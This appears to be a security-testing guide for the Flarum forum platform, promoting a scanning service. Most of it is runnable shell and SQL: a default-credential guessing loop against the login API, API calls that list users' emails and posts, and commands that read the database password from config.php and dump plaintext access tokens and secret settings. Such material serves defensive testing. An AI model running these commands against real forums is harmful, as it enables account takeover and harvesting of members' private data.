Flarum is a widely deployed modern open-source forum platform built in PHP with a React-based frontend, used by communities and organizations to run discussion forums. Its JSON:API backend and PHP architecture are the primary security assessment targets. Key assessment areas: Flarum's admin credentials are set during the setup wizard with no enforced complexity; the JSON:API REST API exposes all discussions, posts, and user data including email addresses; config.php stores the MySQL database password; Flarum's admin API token (generated by the installer or admin panel) allows creating users and modifying admin flags; the flarum_access_tokens database table stores user Bearer tokens; and Flarum's extension ecosystem may introduce additional vulnerabilities including file upload paths and custom API endpoints. This guide covers systematic Flarum security assessment.
# Flarum — authentication and default credential testing
FLARUM_URL="https://forum.example.com"
# Flarum authentication — POST /api/token returns access token
TOKEN_RESPONSE=$(curl -s -X POST "${FLARUM_URL}/api/token" \
-H "Content-Type: application/json" \
-d '{"identification":"admin@example.com","password":"admin","remember":true}' 2>/dev/null)
echo "$TOKEN_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
print(f'Access token: {d[\"token\"]}')
print(f'User ID: {d.get(\"userId\")}')
else:
print(f'Auth failed: {d}')
" 2>/dev/null
# Try common admin email/password combinations
for CREDS in "admin@example.com:admin" "admin@forum.example.com:admin" "admin@example.com:password"; do
EMAIL="${CREDS%:*}"
PASS="${CREDS#*:}"
STATUS=$(curl -s -X POST "${FLARUM_URL}/api/token" \
-H "Content-Type: application/json" \
-d "{\"identification\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'token' in d else 'FAIL')" 2>/dev/null)
echo "${CREDS}: $STATUS"
done
# Check unauthenticated API access — many Flarum endpoints are public
curl -s "${FLARUM_URL}/api" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('API version:', d.get('data',{}).get('attributes',{}).get('version','?'))
" 2>/dev/null
# Flarum JSON:API — discussion and user enumeration
FLARUM_URL="https://forum.example.com"
ACCESS_TOKEN="your-flarum-access-token"
# Get all discussions (may be public without auth on open forums)
curl -s "${FLARUM_URL}/api/discussions?sort=-createdAt&page[limit]=50" \
-H "Authorization: Token ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Discussions: {len(data)}')
for disc in data[:10]:
attrs = disc.get('attributes',{})
print(f' [{disc.get(\"id\")}] {attrs.get(\"title\")} posts={attrs.get(\"commentCount\")} views={attrs.get(\"viewCount\")}')
" 2>/dev/null
# Get all posts — full forum content
curl -s "${FLARUM_URL}/api/posts?sort=-createdAt&page[limit]=50" \
-H "Authorization: Token ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Posts: {len(data)}')
for p in data[:5]:
attrs = p.get('attributes',{})
content = str(attrs.get('content',''))[:100]
print(f' [{p.get(\"id\")}] type={attrs.get(\"contentType\")} content={content}')
" 2>/dev/null
# Get all users — email addresses and admin status
curl -s "${FLARUM_URL}/api/users?sort=joinTime&page[limit]=50" \
-H "Authorization: Token ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Users: {len(data)}')
for u in data[:10]:
attrs = u.get('attributes',{})
print(f' [{u.get(\"id\")}] {attrs.get(\"username\")} email={attrs.get(\"email\")} isEmailConfirmed={attrs.get(\"isEmailConfirmed\")}')
# isAdmin only visible to admin tokens
if attrs.get('isAdmin') is not None:
print(f' isAdmin: {attrs.get(\"isAdmin\")}')
" 2>/dev/null
# Flarum config.php and database credential extraction
# config.php — MySQL credentials in PHP array
grep -E "password|database|host|username" \
/var/www/html/flarum/config.php 2>/dev/null
# 'database' => ['driver'=>'mysql', 'host'=>'localhost', 'password'=>'DB_PASSWORD']
# MySQL direct access — user accounts and access tokens
mysql -u flarum -p"DB_PASSWORD" flarum 2>/dev/null << 'EOF'
-- All users with bcrypt hashed passwords
SELECT id, username, email, is_email_confirmed, is_admin,
joined_at, last_seen_at
FROM flarum_users
ORDER BY is_admin DESC, joined_at
LIMIT 20;
EOF
# flarum_access_tokens — all active Bearer tokens
mysql -u flarum -p"DB_PASSWORD" flarum 2>/dev/null << 'EOF'
SELECT t.id, t.token, t.user_id, u.username, u.email,
t.type, t.created_at, t.last_activity_at
FROM flarum_access_tokens t
JOIN flarum_users u ON t.user_id = u.id
ORDER BY t.last_activity_at DESC
LIMIT 20;
EOF
# token column contains the plaintext Bearer token value
# Check for installed extensions and their configuration
mysql -u flarum -p"DB_PASSWORD" flarum 2>/dev/null << 'EOF'
SELECT * FROM flarum_settings WHERE key LIKE '%api%' OR key LIKE '%secret%' OR key LIKE '%key%';
EOF
| Security Test | Method | Risk |
|---|---|---|
| Admin credential exploitation and token acquisition | POST /api/token with admin email and weak password — Bearer token returned; access to all forum data, user accounts, extension management, and admin API endpoints | Critical |
| JSON:API user email enumeration | GET /api/users with admin token — all users with email addresses; enables targeted phishing and credential attacks against forum members | High |
| config.php MySQL credential extraction | Read config.php database password — direct MySQL access to flarum_users (bcrypt hashes), flarum_access_tokens (plaintext Bearer tokens), and all forum data | Critical |
| flarum_access_tokens plaintext token extraction | MySQL SELECT from flarum_access_tokens — token column contains plaintext Bearer tokens valid for API authentication as any user | Critical |
| Unauthenticated discussion enumeration on public forums | GET /api/discussions without auth — all public discussions and posts accessible; reveals forum content and user activity patterns without authentication | Medium (by design on public forums) |
Ironimo tests Flarum deployments for admin credential exploitation, JSON:API discussion and user enumeration including email address harvesting, config.php MySQL credential extraction, flarum_access_tokens plaintext Bearer token extraction, unauthenticated forum access testing, email enumeration via login error differentiation, extension audit and attack surface assessment, rate limiting verification on /api/token, and flarum_settings sensitive key enumeration.
Start free scan